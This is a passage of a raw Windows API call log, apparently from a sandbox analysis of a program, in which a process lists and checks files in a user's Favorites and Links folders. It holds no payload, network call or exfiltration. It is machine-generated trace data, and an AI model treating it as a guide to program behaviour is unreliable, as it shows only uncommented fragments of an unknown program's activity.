out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x29 [0162.711] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x29 [0162.716] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.717] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.717] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0162.717] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a2a610, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a2a610, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0162.717] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b81f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0162.717] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0162.717] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0162.718] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0162.718] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0162.718] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.718] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.718] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0162.719] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a2a610, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a2a610, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0162.720] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b81f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0162.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0162.721] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0162.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0162.722] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.723] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.725] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn autos.url")) returned 0x20 [0162.729] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn entertainment.url")) returned 0x20 [0162.731] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn money.url")) returned 0x20 [0162.732] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn sports.url")) returned 0x20 [0162.734] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn.url")) returned 0x20 [0162.736] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msnbc news.url")) returned 0x20 [0162.736] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live")) returned 0x10 [0162.737] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live")) returned 0x10 [0162.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x29 [0162.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x29 [0162.738] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0162.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x29 [0162.741] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\*" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.741] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0162.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79992090, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0162.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0162.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0162.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~1.URL")) returned 0 [0162.742] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.743] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.743] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0162.744] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79992090, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0162.745] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0162.745] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0162.840] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.841] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.843] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\get windows live.url")) returned 0x20 [0162.844] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0162.866] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0162.869] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0162.876] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Links" (normalized: "c:\\users\\keecfmwgj\\links")) returned 0x11 [0162.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0162.878] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.879] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0162.879] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0162.879] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x36e, dwReserved0=0x0, 